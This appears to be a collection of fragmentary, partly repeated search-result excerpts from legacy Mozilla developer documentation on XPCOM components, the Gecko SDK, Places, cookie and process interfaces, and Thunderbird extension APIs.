it. global objects there are a few global objects and constants defined in utils.js. these are: qi_node qi_node(anode, aiid) runs a query interface on a bookmark node to expose the interface available to that type. if the interface isn't available to that node, null is returned. anode - the bookmark aiid - the return interface wanted. there are several predefined versions of this for co
mmon calls. these just take in the node, as the interface is already defined: asvisit(anode) asfullvisit(anode) ascontainer(anode) asquery(anode) annotations a few annotation names are defined here. load_in_sidebar_anno - this annotation is associated with bookmarks or items that should load in the sidebar automatically. description_anno - this annotation stores description information ...
...for instance, normally in order to get access to the bookmarks service, you have to run something like: components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); with places utils all you need to write is: placesutils.bookmarks this should save on the number of r...
... this should save on the number of references to the service that are needed, and can help clean up interfaces that are already fairly cluttered. there are currently 11 services defined in here. bookmarks nsinavbookmarksservice history nsinavhistoryservice globalhistory nsibrowserhistory livemarks nsilivemarkservice annotations nsiannotationservice favicons nsifaviconservice microsu
mmaries nsimicrosu
mmaryservice tagging nsitaggingservice rdf nsirdfservice ptm nsiplacestransactionsservice clipboard nsiclipboard urifixup nsiurifixup special places these are essentially references to the id's of special folders within places. they can save you time calling the service and searching for a particular folder on your own. placesrootid bookmarksmenufolderid the b...
...n, adefaultinsertionpoint, ashowpicker) see showaddlivemarkui for a description of the params. showminimaladdmultibookmarkui() show an "add bookmarks" dialog to allow the adding of a folder full of bookmarks corresponding to the objects in the urilist. this will be called most often as the result of a "bookmark all tabs..." co
mmand. showaddmultibookmarkui(aurilist) parameters aurilist list of nsiuri objects representing the locations to be bookmarked. return type return true if any transaction has been performed. showbookmarkproperties() opens the bookmark properties panel for a given bookmark identifier. showbookmarkproperties(aid) parameters aid bookmark identifier for which the properties are to b...
Creating the Component Code
to register a component is to run the application regxpcom. without any arguments passed to regxpcom, the program registers the component in the default component registry. we suggest that when you are testing your component in the mozilla or netscape client, you copy your component into the components directory in the client's installation folder. when it is copied there, run regxpcom from the co
mmand line to register that component and all the others in that directory. several new options have been added to regxpcom in versions 1.4 and later. you can run regxpcom with the -h option to see full usage options. registration alternatives a gecko embedding application may provide other ways to register xpcom components. xpinstall, the cross-platform installation technology that mozilla uses ...
...id that uniquely identifies the component. all of the 128-bit numbers used in xpcom - the class and the interface ids - are examples of uuids, or universal unique identifiers, which were discussed in object interface discovery. generating cids to generate a cid for your component, you can use the uuidgen tool that comes with most unix distributions and with microsoft visual c++. uuidgen is a co
mmand-line tool that returns a unique 128-bit number when you call it with no arguments: $ uuidgen ce32e3ff-36f8-425f-94be-d85b26e634ee on windows, a program called guidgen.exe does the same thing and also provides a graphical user interface if you'd rather point and click. or you can use one of the special "bots" on irc in #developers, where you can also get help from human beings. irc irc.mozi...
...en you call it with no arguments: $ uuidgen ce32e3ff-36f8-425f-94be-d85b26e634ee on windows, a program called guidgen.exe does the same thing and also provides a graphical user interface if you'd rather point and click. or you can use one of the special "bots" on irc in #developers, where you can also get help from human beings. irc irc.mozilla.org /join #developers /msg firebot uuid this co
mmand makes the bot generate and return a uuid, which you can then copy into your component source code. now that we've looked at the preliminaries, it's time to discuss the classes that this module provides and the way that they define the relationships of the component in xpcom. coding for the registration process when xpcom discovers your component for the first time (via xpinstall or regxpco...
...are discussed in component installation overview), the first thing it tries to do is load your library and find the symbol nsgetmodule. when this special entry point is called, it is passed xpcom's component manager and the location of the shared library where your component lives. the component manager is an interface implemented by xpcom that encapsulates the creation of objects and provides su
mmary information about all registered components. the location on disk is passed via another interface named nsifile. this interface is xpcom's abstraction of files and directories. an nsifile object is usually a file or directory on a local volume, but it may represent something on a network volume as well. nsresult nsgetmodule(nsicomponentmanager *servmgr, nsifile* location,...
Finishing the Component
the xpcom object(s) that implement that interface will do your bidding. with this huge amount of flexibility, however, you lose compatibility. if you use "stuff" that isn't frozen, that stuff is subject to change in future versions of gecko. if you want to be protected against changes in gecko, you must only use interfaces and apis that are clearly marked as frozen. the marking is made in the co
mments above the interface declaration. for example, take a look at the nsiservicemanager: /** * the nsiservicemanager manager interface provides a means to obtain * global services in an application. the service manager depends * on the repository to find and instantiate factories to obtain * services. * * users of the service manager must first obtain a pointer to the * global service mana...
... to create the weblock.h, create a header from this idl file using the xpidl compiler. once you have these interface and header files, you can modify the weblock class to implement the nsicontentpolicy interface. the weblock class will then support four interfaces: nsisupports, nsiobserver, nsicontentpolicy, and iweblock. weblock interfaces interface name defined by status su
mmary nsisupports xpcom frozen provides interface discovery, and object reference counting nsiobserver xpcom frozen allows messaging passing between objects nsicontentpolicy content not frozen interface for policy control mechanism iweblock web lock not frozen enables and disables weblock. also, provides access to the url that a...
...ng comparison, which would require you to do the parsing yourself, you can compare the nsiuri objects with each other, as in the following section. this ensures that the urls are canonical before they are compared. checking the white list the weblock implementation of the shouldload method starts by extracting the scheme of the incoming nsiuri. if the scheme isn't "http", "https", or "ftp", it i
mmediately returns true, which continues the loading process unblocked. these three are the only kinds of uri that weblock will try to block. when it has one, it walks the linked list and creates a new nsiuri object for each string url in the list. from each object, shouldload() extracts the host and compares it to the uri. if they match, the component allows the load to continue by returning true.
... host; uri->gethost(host); if (strcmp(hosttoload.get(), host.get()) == 0) { // match found. allow this nsiuri to load *_retval = pr_true; return ns_ok; } node = node->next; } return ns_ok; } at this point, all of the backend work is complete. you can of course improve this backend in many ways, but this example presents the basic creation of what is co
mmonly referred to as a "browser helper object" like weblock. the next chapter looks at how to tie this into the front end - specifically, how to use xpconnect to access and control this component from javascript in the user interface. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in...
Setting up the Gecko SDK
guration to the debug multithreaded dll runtime (this needs clarification): after making these changes, press ok. this finalizes the project settings and gives you a project that will hold and compile xpcom components. building a windows project this section is writting for those of you who do not wish to install visual studio or the express edition, allowing the user to be able to create co
mmercial extensions without buying the full version of visual studio and allowing them to use their own editors. first, you need to get the sdk, this project uses the following tools to compile the extension for use. tools needed gecko 1.9.2 sdk: http://releases.mozilla.org/pub/mozi....win32.sdk.zip windows platform sdk: http://www.microsoft.com/downloads/e...displaylang=en moztools: http://f...
...(x86)\ to c:\program files\ if you are running a 32-bit version of windows instead of a 64-bit. uncompress the gecko sdk, this example uses d:\projects\xulrunner-sdk\. uncompress make.exe, libidl-0.6.dll, glib-1.2.dll to the sdk's bin directory, d:\projects\xulrunner-sdk\bin. environment setup you can create a batch file to set up the environment for you, but this example tells you from the co
mmand prompt. set include=c:\program files\microsoft sdks\windows\v7.0\include;c:\program files (x86)\microsoft visual studio 9.0\vc\include;d:\projects\xulrunner-sdk\include this sets up the compiler to know where included code files are, it looks in the platform sdk, visual studio 9.0 include (installed with the platform sdk), and the gecko sdk includes. set lib=c:\program files\microsoft sdks...
...dk includes. set lib=c:\program files\microsoft sdks\windows\v7.0\lib;c:\program files (x86)\microsoft visual studio 9.0\vc\lib;d:\projects\xulrunner-sdk\lib this tells the linker where the default libraries to bind to are. this allows you to created the component without sending any extra dlls set path=%path%;d:\projects\xulrunner-sdk\sdk\bin;d:\projects\xulrunner-sdk\bin this tells the co
mmand prompt where to find the gecko tools, importantly (xpidl, regxpcom, and gmake). building the sample built sample in d:\projects\sample the idl this step is fairly straight forward. first create the idl file. ispecialthing.idl #include "nsisupports.idl" [scriptable, uuid(263ed1ba-5cc1-11db-9673-00e08161165f)] interface ispecialthing : nsisupports { attribute astring name; long add(...
...including the path and configuration updates you need to build with the gecko sdk. below is a listing for a makefile that configures your compiler to work with the sdk. explaining the details of the makefile is outside the scope of this appendix, but it modifies the same properties that are configured in the visual c++ project (see building a microsoft visual cpp project). for a listing of the co
mmands that appear in this listing, see the make manual. sample makefile for the gecko sdk module = mozshim # change this to point at your gecko sdk directory. gecko_sdk_path ?= $(home)/tmp/xr xpidl ?= $(gecko_sdk_path)/bin/xpidl cxx ?= c++ xpidlsrcs = \ interfacea.idl \ interfaceb.idl \ $(null) cppsrcs = \ sourcea.cpp \ sourceb.cpp \ $(null) cppflags += -fno-...
HeapMinimize
if false, the flush will be scheduled to happen when the app is idle. return values this function return ns_ok if successful. ...
...if false, the flush will be scheduled to happen when the app is idle. return values this function return ns_ok if successful. ...
...if false, the flush will be scheduled to happen when the app is idle. return values this function return ns_ok if successful. ...
...if false, the flush will be scheduled to happen when the app is idle. return values this function return ns_ok if successful. ...
mozIThirdPartyUtil
this is done as follows: if achannel is an nsihttpchannel and has the 'forceallowthirdpartycookie' property set, then: if auri is null, return false. otherwise, find the uri of the channel, determine whether it is foreign with respect to auri, and return. find the uri of the channel and determine whether it is third party with respect to the uri of the channel. if so, return. obtain the botto
mmost nsidomwindow, and its same-type parent if it exists, from the channel's notification callbacks. then: if the parent is the same as the botto
mmost window, and the channel has the load_document_uri flag set, return false. this represents the case where a toplevel load is occurring and the window's uri has not yet been updated. (we have already checked that auri is not foreign with respect to th...
... therefore, both the channel's uri and each level in the window hierarchy associated with the channel is tested. for example, if auri is "http://mail.google.com/", achannel has a uri of "http://google.com/", and its parent is the topmost content window with a uri of "http://mozilla.com", the result will be true. ...
...'bottom uri'. if auri is provided, determine if it is third party with respect to the bottom uri. if so, return. find the same-type parent window, if there is one, and its uri. determine whether it is third party with respect to the bottom uri. if so, return. therefore, each level in the window hierarchy is tested. ...
...auri optional a uri to test against. if null, the uri of the principal associated with awindow will be used. return value true if auri is third party with respect to any of the uris associated with awindow and its same-type parents. ...
nsIAccessibleStates
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) prior to gecko 1.9, these constants were implemented in nsiaccessible. constants state constants msaa state flags - used for bitfield. more than 1 allowed. constant value description state_unavailable 0x00000001 the object is unavailable, that is disabled. state_selected 0x00000002 the object is selected, that is it indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected. ...
...ject is scrolling or moving text or graphics. state_animated 0x00004000 the object's appearance changes rapidly or constantly. graphics that are occasionally animated are described as role_graphic (see nsiaccessiblerole.constants) with the state property set to state_animated. this state is used to indicate that the object's location is changing. state_invisible 0x00008000 the object is progra
mmatically hidden. for example, menu items are progra
mmatically hidden until a user activates the menu. because objects with this state are not available to users, client applications should not co
mmunicate information about the object to users. however, if client applications find an object with this state, they should check to see if state_offscreen is also set. if this second state is defined, th...
... state_offscreen 0x00010000 scrolled off. state_sizeable 0x00020000 the object can be resized. ...
... state_offscreen 0x00010000 scrolled off. state_sizeable 0x00020000 the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable 0x00040000 the object can be moved. ...
nsIAnnotationService
xpire_never in bug 319455. methods setpageannotation() this method sets an annotation for given uri, overwriting any previous annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored in the favicon service, but are special cased in the protocol handler so they look like annotations. do not set favicons using this service, it will not work. binary annotations should be set using setitemannotationbinary() or setpageannotation...
... the item is removed by the user. setitemannotation() this method sets an annotation for given item, overwriting any previous annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored in the favicon service, but are special cased in the protocol handler so they look like annotations. do not set favicons using this service, it will not work. binary annotations should be set using setitemannotationbinary() or setpageannotation...
...pageannotationstring() this method sets an annotation for given uri by taking a string as input value, overwriting any previous annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored in the favicon service, but are special cased in the protocol handler so they look like annotations. do not set favicons using this service, it will not work. binary annotations should be set using setitemannotationbinary() or setpageannotation...
...temannotationstring() this method sets an annotation for given item by taking a string as input value, overwriting any previous annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored in the favicon service, but are special cased in the protocol handler so they look like annotations. do not set favicons using this service, it will not work. binary annotations should be set using setitemannotationbinary(). for other types, on...
nsICookieService
t remains until we can find a better home for it. methods getcookiestring() get the complete cookie string associated with the uri. string getcookiestring( in nsiuri auri, in nsichannel achannel ); parameters auri the uri of the document for which cookies are being queried. achannel the channel used to load the document. this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored. return value returns the resulting cookie string. getcookiestringfromhttp() get the complete cookie string associated with the uri. note: this function is redundant and will most likely be removed in a future revision of this interface. getcookiestring() will query the documenturi property off ...
...iestringfromhttp( in nsiuri auri, in nsiuri afirsturi, in nsichannel achannel ); parameters auri the uri of the document for which cookies are being queried. afirsturi the uri that the user originally typed in or clicked on to initiate the load of the document referenced by auri. achannel the channel used to load the document. this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored. return value returns the resulting cookie string. setcookiestring() set the cookie string associated with the uri. note: should be able to allow null aprompt, since nsiprompt can be queried from achannel. void setcookiestring( in nsiuri auri, in nsiprompt aprompt, in string acookie, ...
...tcookiestring( in nsiuri auri, in nsiprompt aprompt, in string acookie, in nsichannel achannel ); parameters auri the uri of the document for which cookies are being queried. aprompt the prompt to use for all user-level cookie notifications. acookie the cookie string to set. achannel the channel used to load the document. this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored. setcookiestringfromhttp() set the cookie string and expires associated with the uri. note: this function is redundant and will most likely be removed in a future revision of this interface. setcookiestring() will query the documenturi property off of nsihttpchannelinternal if supported, and setco...
... the user originally typed in or clicked on to initiate the load of the document referenced by auri. aprompt the prompt to use for all user-level cookie notifications. acookie the cookie string to set. aservertime the expiry information of the cookie (the date header from the http response). achannel the channel used to load the document. this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored. see also nsicookie nsicookie2 ...
nsIDOMEvent
if the event can bubble the value is true, else the value is false. read only. cancelable boolean used to indicate whether or not an event can have its default action prevented...
...canbubblearg, in boolean cancelablearg ); parameters eventtypearg specifies the event type. this type may be any event type currently defined in this specification or a new event type. the string must be an xml name. any new event type must not begin with any upper, lower, or mixed case version of the string "dom". this prefix is reserved for future dom event sets. it is also strongly reco
mmended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events. canbubblearg specifies whether or not the event can bubble. cancelablearg specifies whether or not the event's default action can be prevented. violates the xpcom interface guidelines isdispatchstopped() boolean isdispatchstopped(); ...
... stoppropagation() the stoppropagation method is used prevent further propagation of an event during event flow. if this method is called by any eventlistener the event will cease propagating through the tree. the eve...
...etype ); parameters amsg aserializeinterfacetype native code only!settarget void settarget( in nsidomeventtarget atarget ); parameters atarget native code only!settrusted void settrusted( in boolean atrusted ); parameters atrusted stopi
mmediatepropagation() prevents other event listeners from being triggered and, unlike stoppropagation() its effect is i
mmediate. void stopi
mmediatepropagation(); parameters none. stoppropagation() the stoppropagation method is used prevent further propagation of an event during event flow. if this method is called by any eventlistener the event will cease propagating through the tree. the event will complete dispatch to all listeners on the current eventtarget before event flow stops. this method may be used d...
nsIIOService
inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler). note: nsiioservice may only be used from the main thread. ...
...pal of the resource that caused this particular url to be loaded. most likely the triggeringprincipal and the loadingprincipal are identical, in which case the triggeringprincipal can be left out. in some cases the loadingprincipal and the triggeringprincipal are different however, e.g. a stylesheet may import a subresource. in that case the principal of the stylesheet which contains the import co
mmand is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal. asecurityflags the securityflags of the channel. any of the securityflags defined in nsiloadinfo. acontentpolicytype the contentpolicytype of the channel. any of the content types defined in nsicontentpolicybase.idl. return value returns an nsichannel based on aspec and aba...
...pal of the resource that caused this particular url to be loaded. most likely the triggeringprincipal and the loadingprincipal are identical, in which case the triggeringprincipal can be left out. in some cases the loadingprincipal and the triggeringprincipal are different however, e.g. a stylesheet may import a subresource. in that case the principal of the stylesheet which contains the import co
mmand is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal. asecurityflags the securityflags of the channel. any of the securityflags defined in nsiloadinfo.idl acontentpolicytype the contentpolicytype of the channel. any of ...
...pal of the resource that caused this particular url to be loaded. most likely the triggeringprincipal and the loadingprincipal are identical, in which case the triggeringprincipal can be left out. in some cases the loadingprincipal and the triggeringprincipal are different however, e.g. a stylesheet may import a subresource. in that case the principal of the stylesheet which contains the import co
mmand is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal. asecurityflags the securityflags of the channel. any of the securityflags defined in nsiloadinfo. acontentpolicytype the contentpolicytype of the channel. any of the content types defined in nsicontentpolicy. return value an nsichannel for the uri. newfileuri() this metho...
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscriptable please add a su
mmary to this article. inherits from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cfurlref getcfurl(); native code only! fsref getfsref(); native code only! fsspec getfsspec(); native code only! void inittoappwithcreatorcode(in ostype aappcreator); native code only! obsolete since gecko 2.0 void initwithcfurl(in cfurlref acfurl); native code only! void initwithfsref([const] in fsrefptr afsref); native code only! void initwithfsspec([const] in fsspecptr afilespec); native code only! obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapp...
... bundleidentifier autf8string returns the identifier of the bundle. read only. filecreator ostype native code only! filesizewithresfork print64 retur...
...should not come to the front. setfiletypeandcreatorfromextension() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) sets the file type and creator code from a file extension internet config is used to determine the mapping. ...
...onfig is used to determine the mapping. void setfiletypeandcreatorfromextension( in string aextension ); parameters aextension setfiletypeandcreatorfro
mmimetype() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) sets the file type and creator code from a mime type. ...
nsINavHistoryResultViewObserver
d or flagged in thunderbird) is clicked. void oncyclecell( in long row, in nsitreecolumn column ); parameters row the row on which the clicked cell is located. column the column in which the clicked cell is located. onselectionchanged() called when the selection in the tree changes. void onselectionchanged(); parameters none. onperformaction() this method provides a co
mmand api that can be used to invoke co
mmands on the selection. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformaction( in wstring action ); parameters action a string identifying the action to be performed. onperformactiononrow() this method provides a...
...the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". ...
...s on the selection. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformaction( in wstring action ); parameters action a string identifying the action to be performed. onperformactiononrow() this method provides a co
mmand api that can be used to invoke co
mmands on the specified row. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformactiononrow( in wstring action, in long row ); parameters action a string identifying the action to be performed. row the row on which to perform the action. onperfo...
...tically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformactiononrow( in wstring action, in long row ); parameters action a string identifying the action to be performed. row the row on which to perform the action. onperformactiononcell() this method provides a co
mmand api that can be used to invoke co
mmands on a specified cell. the tree automatically invokes this method when certain keys are pressed. for example, when the delete key is pressed, this method is called with the string "delete". void onperformactiononcell( in wstring action, in long row, in nsitreecolumn column ); parameters action a string identifying the action to be perf...
nsIProcess
olete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) initializes the nsiprocess to represent an existing process, given that process's id. gecko 1.9.1 note this method is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. void initwithpid( in unsigned long pid ); parameters pid the process id to begin to represent. kill() i
mmediately terminates the process represented by the nsiprocess object. this only works if the process was run without blocking enabled. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method did not work on windows or mac os x. now it does. void kill(); parameters none. run() starts executing the process. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method ...
...cuting the process. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method returned the process id of the newly executing process. it no longer returns a value. void run( in boolean blocking, [array, size_is(count)] in string args, in unsigned long count ); parameters blocking if true, this method will block until the process terminates; if false, the method returns i
mmediately. args an array of count arguments, using the native character set, to be passed to the executable on its co
mmand line. count the number of arguments in the args array. runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running. void runasync( [array, size_is(count)] in string args, in unsig...
...ll be notified on the main thread. holdweak optional if true, a weak reference is used to hold the observer. runw() executes the file this object was initialized with. void runw( in boolean blocking, [array, size_is(count)] in wstring args, in unsigned long count ); parameters blocking if true, this method will block until the process terminates; if false, the method returns i
mmediately. args an array of count arguments, using utf-16, to be passed to the executable on its co
mmand line. count the number of arguments in the args array. runwasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running. void runwasync( [array, size_is(count)] in wstring args, in unsigned long count,...
...var args = ["argument1", "argument2"]; process.run(false, args, args.length); see also nsifile nsiprocess2 obsolete since gecko 1.9.2 ...
nsMsgNavigationType
last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in the view. nextmessage 2 go to the next message in the view. will wrap around if the wrap flag is set to true. previousmessage ...
... last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in the view. nextmessage 2 go to the next message in the view. will wrap around if the wrap flag is set to true. previousmessage 3 go to the previous message in the view. wi...
... = new object(); var threadindex = new object(); gdbview.viewnavigate(components.interfaces.nsmsgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgnavigationtype interface is defined as a global variable in thunderbird: var nsmsgviewco
mmandtype = components.interfaces.nsmsgviewco
mmandtype; mailnews/base/public/nsimsgdbview.idlscriptable please add a su
mmary to this article. last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in the view. nextmessage 2 go to the next message in the view. will wrap around if the wrap flag is set to true. previousmessage 3 go to the previous message in the view. will wrap around if the wrap flag is set to true. lastmessage 4 go to the las...
...stants name value description firstmessage 1 go to the first message in the view. nextmessage 2 go to the next message in the view. will wrap around if the wrap flag is set to true. previousmessage 3 go to the previous message in the view. will wrap around if the wrap flag is set to true. lastmessage 4 go to the last message in the view. togglethreadkilled 5 must match nsmsgviewco
mmandtype togglethreadkilled. firstunreadmessage 6 go to the first unread message in the view. nextunreadmessage 7 go to the next unread message in the view. will wrap around if the wrap flag is set to true. previousunreadmessage 8 go to the previous unread message in the view. will wrap around if the wrap flag is set to true. lastunreadmessage 9 go to the last unread message in the view...
Getting Started Guide
skim this short section. if this is unfamiliar material, you're not ready for nscomptrs yet. a good place to learn about the basic rules and reasoning behind com is in essential com by don box. don box gets into more of the details, traps, and pitfalls of com in effective com. you should also have a reasonable knowledge of c++. probably the three most helpful books on this topic are the c++ progra
mming language by bjarne stroustrup, effective c++, and more effective c++ by scott meyers. all xpcom objects are allocated on the heap. clients don't get to know much about the implementation of any such object. they reference it only through a pointer to an `interface', i.e., the static type of the pointer is a pointer to an abstract base class, the actual object pointed to is a class derived fro...
... the object is passed in as a parameter, and you don't need to keep it any longer than the scope of this function; the object's lifetime is known to contain yours in some well defined way, e.g., in the nodes of a tree, parent nodes keep owning references to their children, children need not keep owning references to their parents. it turns out that reference counting by hand is hard for progra
mmers to get right. it may sound simple, but in practice it's very easy to forget to release at the appropriate moment. or to addref too many or too few times. how does nscomptr help? nscomptr manages addref, release, and other red-tape for you. an nscomptr looks and acts as much like a raw xpcom interface pointer as c allows, but it knows it owns the object it points to. this takes a little getti...
...etter like any other, and you already know one way to call it, applying the getter_addrefs rule, as described above. the hard way to queryinterface into an nscomptr. // a way (though not the best way) to |queryinterface| into an |nscomptr|... nscomptr<nsifoo> foo; nsresult rv = bar->queryinterface(ns_get_iid(nsifoo), getter_addrefs(foo)); // or, if you're a savvy xpcom progra
mmer, // you use the type-safe version... nsresult rv = callqueryinterface(bar, getter_addrefs(foo)); queryinterface is used so frequently, though, that nscomptr has a special facility to call it. this facility is type-safe, and it enables an nscomptr to be directly constructed from the result of queryinterface. construction from the correct value is more efficient that construction f...
...by reference for `in/out' parameters this is the prefered scheme for providing `in/out' parameters. if you were to use a raw pointer instead, your function couldn't know what ownership relationship the caller had to the input value, and hence, couldn't know whether to release it or not before assigning in the new value. by declaring the parameter as an nscomptr&, the relationship is explicit. su
mmary an nscomptr is an owning reference. whatever it points to has been addrefed, counting the nscomptr as one of its `owners'. an nscomptr always calls release before letting go, whether the nscomptr is letting go so that it can point to a different object, or because the nscomptr is going out of scope. any time a new value is assigned into an nscomptr, the nscomptr automatically always releases ...
Adding items to the Folder Pane
the numbers 1, 2, and 3. clicking on those items will display the number in the main viewing pane of thunderbird. first, some necessary background on how the folder pane constructs the data it displays. the folder pane tracks modifications to a user's folders and accounts. each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more co
mmonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs. when this happens, the folder pane consults the map-generator for the current mode, and that generator returns the necessary data for the folder pane's display. this data is returned in the form of an array of folder-tree-items. listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "ma...
...first, our "numbers" container looks like this: let containerrow = { _numbers: 3, id: "numbers-main-container", text: "numbers", level: 0, open: false, _children: null, get children() { ...
... level: 0, open: false, _children: null, get children() { if (!this._children) { this._children = []; for (var i = 1; i <= this._numbers; i++) this._children.push(new numberrow(i)); } return this._children; }, getproperties: function gne_getprops() { // put your css attributes here }, co
mmand: function gne_co
mmand() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; second, our child items (the numbers 1, 2, and 3) are copies of the following prototype: function numberr...
...ems (the numbers 1, 2, and 3) are copies of the following prototype: function numberrow(anumber) { this._number = anumber; } numberrow.prototype = { get id() { return "numbers-child-row-" + this._number; }, get text() { return this._number; }, level: 1, open: false, children: [], getproperties: function gne_kid_getprops() {}, // no-op co
mmand: function gne_kid_co
mmand() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; putting it all together all that is left at this point is to actually add these newly defined folder-tree...
Thunderbird extensions
rd extension step-by-step explanation on how to build an extension for thunderbird. the following documentation provides help for creating extensions for the thunderbird email client. there are similarities with firefox extensions, but there are also differences that may confound the starting thunderbird developer. this documention series focuses on thunderbird. need personalized help? see co
mmunity / co
mmunications. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. documentation getting started with thunderbird a brave, young developer wants to develop an add-on for thunderbird. these links to help through this journey. start by reading the ...
...dvanced thunderbird-specific features want to do even more? don't reinvent the wheel: steal from the thunderbird-stdlib project (doc here). functions for dealing with messages (delete, archive, change tags, etc.) are included. mailutils.js. haven't found what you need? read the thunderbird how-tos; they contain many recipes for things extensions want to do. still stuck? ask in a co
mmunity co
mmunication channel on the right. feeling really brave? read the source using a fancy interface; you can often find tests that demonstrate what you're trying to achieve. the gloda database thunderbird has a subsystem called gloda. gloda stands for « global database », and creates thunderbird-wide relations between objects. gloda provides concepts such as conversations...
...irst message query and read the gloda examples gloda internals: gloda debugging, gloda indexing more thunderbird-specific links some links may be out of date, but they still provide valuable information on the codebase. ...
...ons (anything that's very old should be regarded suspiciously, because there has been significant api rewrite over the past years making most techniques considerably easier) thunderbird api docs (mostly a collection of out-of-date pages, relevance is rather dubious) general links finding the code for a feature mozillazine articles on thunderbird co
mmunity / co
mmunications thunderbird specific : add-ons section on developer.thunderbird.net thunderbird co
mmunication channels add-on developers forum/mailing list #maildev irc channel more general : mozillazine extension development forum general developer channels related topics xul, javascript, xpcom, themes, developin...
Using the Multiple Accounts API
e server, such as hostname, user login name, and biff settings. identities (nsimsgidentity): an identity contains all the information necessary to compose and outgoing mail message. it includes a user's full name and e-mail address. smtp servers (nsismtpserver): an smtp server is not tied to any of the above and can be retrieved from the smtp service (nsismtpservice). here's an example of a co
mmon setup. (you'll have to pardon the crude drawing for now) account manager +- account 1 | +- incoming server 1 (imap.mywork.com imap server, my work account) | +- identity 1 (alec flett <alecf@mywork.com>) +- account 2 | +- incoming server 2 (pop.myisp.com pop server, my isp account) | +- identity 2 (alec flett <alecf@myisp.com>) +- account 3 | +- incoming server 3 (news.my...
... pref: mail.accountmanager.accounts account preference: mail.account.account.server idl: nsimsgaccount.incomingserver the incoming server associated with this account. the preference is the preference "key" used, such as "server1". preference: mail.account.account.identities idl: nsimsgaccount.identities the list of identites associated with this account. the preference is a co
mma-seperated list of preference "keys" such as "identity1,identity2". incoming servers preference: mail.server.server.type : string id of the server type: pop3, nntp, imap, or local preference: mail.server.server.hostname - hostname of the server preference: mail.server.server.username - user login name preference: mail.server.server.password - user login password preference: mail.
...es on this server? ...
...tity.fcc_folder - uri of folder to put sent messages in preference: mail.identity.identity.bcc_self - boolean, should we blind carbon copy (bcc) this identity with each e-mail sent with this identity? preference: mail.identity.identity.bcc_other - boolean, should we bcc other e-mail addresses with each mail sent with this identity? ...
Thunderbird
thunderbird is a mail/messaging application managed and developed by the thunderbird co
